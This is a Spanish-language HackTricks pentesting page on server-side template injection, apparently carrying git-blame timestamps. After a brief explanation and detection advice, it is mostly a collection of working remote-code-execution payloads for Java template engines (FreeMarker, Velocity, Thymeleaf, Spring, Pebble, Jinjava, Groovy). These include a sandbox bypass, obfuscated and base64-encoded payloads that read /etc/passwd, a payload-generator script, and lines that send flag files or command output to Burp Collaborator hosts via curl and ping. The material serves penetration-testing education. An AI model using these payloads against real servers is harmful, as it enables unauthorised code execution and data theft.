2024-04-06 18:13:31 +00:00
# SSTI (Server Side Template Injection)
2023-06-05 18:33:24 +00:00
< details >
2024-03-16 10:05:32 +00:00
< summary > < strong > Aprende hacking en AWS desde cero hasta experto con< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-05 18:33:24 +00:00
2024-01-01 19:46:19 +00:00
Otras formas de apoyar a HackTricks:
2024-02-05 02:44:49 +00:00
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
2024-03-16 10:05:32 +00:00
* Obtén el [**oficial PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-02-05 02:44:49 +00:00
* Descubre [**La Familia PEASS** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 16:28:45 +00:00
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **síguenos** en **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-29 20:55:41 +00:00
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositorios de github.
2023-06-05 18:33:24 +00:00
< / details >
2023-06-25 23:32:46 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (3).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-05 18:33:24 +00:00
2024-02-05 02:44:49 +00:00
[**RootedCON** ](https://www.rootedcon.com ) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa** . Con **la misión de promover el conocimiento técnico** , este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
2023-06-05 18:33:24 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-02-06 14:25:10 +00:00
## ¿Qué es la Inyección de Plantillas en el Lado del Servidor (SSTI)?
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
La inyección de plantillas en el lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
```python
output = template.render(name=request.args.get('name'))
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
En este código vulnerable, el parámetro `name` de la solicitud del usuario se pasa directamente al template usando la función `render` . Esto potencialmente podría permitir a un atacante inyectar código malicioso en el parámetro `name` , lo que llevaría a una inyección de plantillas en el servidor.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
Por ejemplo, un atacante podría crear una solicitud con un payload como este:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```
2024-02-06 14:25:10 +00:00
http://vulnerable-website.com/?name={{bad-stuff-here}}
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
El payload `{{bad-stuff-here}}` se inyecta en el parámetro `name` . Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.
2023-06-05 18:33:24 +00:00
2024-03-26 07:58:42 +00:00
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario se sanea y valida correctamente antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
### Detección
2023-06-05 18:33:24 +00:00
2024-03-29 20:55:41 +00:00
Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, **la prueba de plantilla** es un enfoque directo. Esto implica inyectar una secuencia de caracteres especiales (**`${{< %[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor ante datos regulares versus esta carga especial. Los indicadores de vulnerabilidad incluyen:
2023-06-05 18:33:24 +00:00
2024-04-06 18:13:31 +00:00
* Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
* Ausencia de la carga en la reflexión, o partes faltantes, lo que implica que el servidor la procesa de manera diferente a los datos regulares.
* **Contexto de Texto Plano**: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}` , `${7*7}` ).
* **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
#### Fase de Identificación
2024-02-23 16:28:45 +00:00
2024-03-26 07:58:42 +00:00
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}` , `{{7/0}}` y `<%= 7/0 %>` . Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
2023-06-05 18:33:24 +00:00
## Herramientas
2024-01-01 19:46:19 +00:00
### [TInjA](https://github.com/Hackmanit/TInjA)
2024-03-29 20:55:41 +00:00
un escáner eficiente de SSTI + CSTI que utiliza políglotos novedosos
2024-04-06 18:13:31 +00:00
2024-01-01 19:46:19 +00:00
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
```
2024-04-06 18:13:31 +00:00
2024-01-10 22:20:21 +00:00
### [SSTImap](https://github.com/vladko312/sstimap)
2024-04-06 18:13:31 +00:00
2024-01-10 22:20:21 +00:00
```bash
python3 sstimap.py -i -l 5
2024-03-26 07:58:42 +00:00
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
2024-01-10 22:20:21 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### [Tplmap](https://github.com/epinna/tplmap)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*& comment=supercomment& link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*& comment=A& link" --level 5 -e jade
```
2024-04-06 18:13:31 +00:00
2024-01-01 19:46:19 +00:00
### [Tabla de Inyección de Plantillas](https://github.com/Hackmanit/template-injection-table)
2024-03-29 20:55:41 +00:00
una tabla interactiva que contiene los políglotos de inyección de plantillas más eficientes junto con las respuestas esperadas de los 44 motores de plantillas más importantes.
2024-01-01 19:46:19 +00:00
2023-06-05 18:33:24 +00:00
## Exploits
### Genérico
2024-01-15 10:43:04 +00:00
En esta **lista de palabras** puedes encontrar **variables definidas** en los entornos de algunos de los motores mencionados a continuación:
2023-06-05 18:33:24 +00:00
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt ](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt )
2024-02-06 14:25:10 +00:00
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt ](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt )
2023-06-05 18:33:24 +00:00
### Java
2024-03-16 10:05:32 +00:00
**Java - Inyección básica**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
2024-02-06 14:25:10 +00:00
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2024-02-05 02:44:49 +00:00
**Java - Obtener las variables de entorno del sistema**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
${T(java.lang.System).getenv()}
```
2024-04-06 18:13:31 +00:00
2024-02-05 02:44:49 +00:00
**Java - Obtener /etc/passwd**
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### FreeMarker (Java)
Puedes probar tus payloads en [https://try.freemarker.apache.org ](https://try.freemarker.apache.org )
* `{{7*7}} = {{7*7}}`
* `${7*7} = 49`
* `#{7*7} = 49 -- (legacy)`
2024-02-05 02:44:49 +00:00
* `${7*'7'} Nothing`
2023-06-05 18:33:24 +00:00
* `${foobar}`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```
2024-04-06 18:13:31 +00:00
2024-03-26 07:58:42 +00:00
**Freemarker - Bypass de la caja de arena**
2023-06-05 18:33:24 +00:00
2024-03-16 10:05:32 +00:00
⚠️ solo funciona en versiones de Freemarker anteriores a 2.3.30
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
< #assign classloader=article.class.protectionDomain.classLoader>
< #assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
< #assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
< #assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-02-05 02:44:49 +00:00
* En la sección de FreeMarker de [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2023-06-05 18:33:24 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker )
### Velocity (Java)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
2024-03-16 10:05:32 +00:00
// I think this doesn't work
2023-06-05 18:33:24 +00:00
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
2024-03-16 10:05:32 +00:00
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2024-01-10 06:28:19 +00:00
* En la sección de Velocity de [https://portswigger.net/research/server-side-template-injection ](https://portswigger.net/research/server-side-template-injection )
2023-06-05 18:33:24 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity )
2024-02-06 14:25:10 +00:00
### Thymeleaf
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
En Thymeleaf, una prueba común para vulnerabilidades de SSTI es la expresión `${7*7}` , que también se aplica a este motor de plantillas. Para una posible ejecución remota de código, se pueden usar expresiones como las siguientes:
2023-06-05 18:33:24 +00:00
2024-04-06 18:13:31 +00:00
* SpringEL:
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('calc')}
```
2024-04-06 18:13:31 +00:00
* OGNL:
2024-02-23 16:28:45 +00:00
2024-02-06 14:25:10 +00:00
```java
${#rt = @java .lang.Runtime@getRuntime(),#rt.exec("calc")}
```
2023-06-05 18:33:24 +00:00
2024-03-29 20:55:41 +00:00
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando una sintaxis como `[[...]]` o `[(...)]` . Por lo tanto, un simple payload de prueba de SSTI en Thymeleaf podría verse como `[[${7*7}]]` .
2023-06-05 18:33:24 +00:00
2024-03-29 20:55:41 +00:00
Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores necesitarían implementar su propio `TemplateResolver` para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
2023-06-05 18:33:24 +00:00
2024-02-06 14:25:10 +00:00
Thymeleaf también ofrece _preprocesamiento de expresiones_ , donde las expresiones dentro de doble guion bajo (`__...__`) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se muestra en la documentación de Thymeleaf:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
#{selection.__${sel.code}__}
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
**Ejemplo de Vulnerabilidad en Thymeleaf**
2024-03-26 07:58:42 +00:00
Considere el siguiente fragmento de código, el cual podría ser susceptible a explotación:
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
```xml
2023-06-05 18:33:24 +00:00
< a th:href = "@{__${path}__}" th:title = "${title}" >
< a th:href = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag .txt burpcollab.com')}" th:title = 'pepito' >
2024-02-06 14:25:10 +00:00
```
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
Esto indica que si el motor de plantillas procesa estas entradas de manera incorrecta, podría llevar a la ejecución de código remoto accediendo a URLs como:
2024-04-06 18:13:31 +00:00
2024-02-06 14:25:10 +00:00
```
2023-06-05 18:33:24 +00:00
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ ](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ )
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
2024-02-05 02:44:49 +00:00
### Marco Spring (Java)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
```
2024-04-06 18:13:31 +00:00
2024-02-05 02:44:49 +00:00
**Saltar filtros**
2023-06-05 18:33:24 +00:00
2024-03-16 10:05:32 +00:00
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba con `#{...}` , `*{...}` , `@{...}` o `~{...}` .
2023-06-05 18:33:24 +00:00
* Leer `/etc/passwd`
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2024-04-06 18:13:31 +00:00
2024-01-01 19:46:19 +00:00
* Script personalizado para la generación de payloads
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```python
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
2023-06-25 23:32:46 +00:00
end_payload = '.getInputStream())}'
2023-06-05 18:33:24 +00:00
count = 1
for i in converted:
2023-06-25 23:32:46 +00:00
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
2023-06-05 18:33:24 +00:00
print(base_payload + end_payload)
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
2023-06-25 23:32:46 +00:00
* [Thymleaf SSTI ](https://javamana.com/2021/11/20211121071046977B.html )
2023-06-05 18:33:24 +00:00
* [Payloads all the things ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd )
2024-03-29 20:55:41 +00:00
### Manipulación de Vistas de Spring (Java)
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
* [https://github.com/veracode-research/spring-view-manipulation ](https://github.com/veracode-research/spring-view-manipulation )
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
### Pebble (Java)
* `{{ someString.toUPPERCASE() }}`
Versión antigua de Pebble ( < versión 3 . 0 . 9 ) :
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
2024-04-06 18:13:31 +00:00
2024-02-05 02:44:49 +00:00
Nueva versión de Pebble:
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
2024-02-23 16:28:45 +00:00
2024-03-29 20:55:41 +00:00
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
{% set bytes = (1).TYPE
2023-06-25 23:32:46 +00:00
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
2023-06-05 18:33:24 +00:00
{{ (1).TYPE
2023-06-25 23:32:46 +00:00
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
2023-06-05 18:33:24 +00:00
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
### Jinjava (Java)
2024-02-05 02:44:49 +00:00
2024-03-29 20:55:41 +00:00
Jinjava es un motor de plantillas Java que admite la inyección de plantillas en el lado del servidor (SSTI). Permite a los atacantes ejecutar código arbitrario en el servidor afectado.
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Jinjava - Ejecución de comandos**
2024-02-05 02:44:49 +00:00
Corregido por [https://github.com/HubSpot/jinjava/pull/230 ](https://github.com/HubSpot/jinjava/pull/230 )
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava )
### Hubspot - HuBL (Java)
2024-02-05 02:44:49 +00:00
* Delimitadores de declaración `{% %}`
* Delimitadores de expresión `{{ }}`
* Delimitadores de comentario `{# #}`
2023-06-05 18:33:24 +00:00
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
* `{{'a'.getClass()}}` - java.lang.String
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
2024-02-05 02:44:49 +00:00
Buscar "com.hubspot.content.hubl.context.TemplateContextRequest" y descubrir el [proyecto Jinjava en Github ](https://github.com/HubSpot/jinjava/ ).
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
2023-06-25 23:32:46 +00:00
//It was also possible to call methods on the created object by combining the
2023-06-05 18:33:24 +00:00
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
**Más información**
* [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html ](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html )
2024-02-05 02:44:49 +00:00
### Lenguaje de Expresión - EL (Java)
2023-06-05 18:33:24 +00:00
* `${"aaaa"}` - "aaaa"
* `${99999+1}` - 100000.
* `#{7*7}` - 49
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
2024-02-06 14:25:10 +00:00
El Lenguaje de Expresión (EL) es una característica fundamental que facilita la interacción entre la capa de presentación (como páginas web) y la lógica de la aplicación (como beans gestionados) en JavaEE. Se utiliza ampliamente en múltiples tecnologías de JavaEE para agilizar esta comunicación. Las principales tecnologías de JavaEE que utilizan EL incluyen:
2024-02-23 16:28:45 +00:00
* **JavaServer Faces (JSF)**: Emplea EL para vincular componentes en páginas JSF con los datos y acciones de backend correspondientes.
2024-03-16 10:05:32 +00:00
* **JavaServer Pages (JSP)**: EL se utiliza en JSP para acceder y manipular datos dentro de las páginas JSP, facilitando la conexión de elementos de página con los datos de la aplicación.
2024-02-23 16:28:45 +00:00
* **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra con CDI para permitir una interacción fluida entre la capa web y los beans gestionados, asegurando una estructura de aplicación más coherente.
2024-02-06 14:25:10 +00:00
2024-03-16 10:05:32 +00:00
Consulte la siguiente página para obtener más información sobre la **explotación de intérpretes EL** :
2023-06-05 18:33:24 +00:00
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md ](el-expression-language.md )
{% endcontent-ref %}
### Groovy (Java)
2024-02-05 02:44:49 +00:00
Los siguientes bypasses del Administrador de Seguridad fueron tomados de este [**informe** ](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/ ).
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
```java
//Basic Payload
import groovy.*;
@groovy .transform.ASTTest(value={
2023-06-25 23:32:46 +00:00
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
2023-06-05 18:33:24 +00:00
})
def x
//Payload to get output
import groovy.*;
@groovy .transform.ASTTest(value={
2023-06-25 23:32:46 +00:00
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
2023-06-05 18:33:24 +00:00
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
2024-04-06 18:13:31 +00:00
2023-06-05 18:33:24 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-23 16:28:45 +00:00
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa** . Con **la misión de promover el conocimiento técnico** , este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas.
2023-06-05 18:33:24 +00:00
{% embed url="https://www.rootedcon.com/" %}
##
### Smarty (PHP)
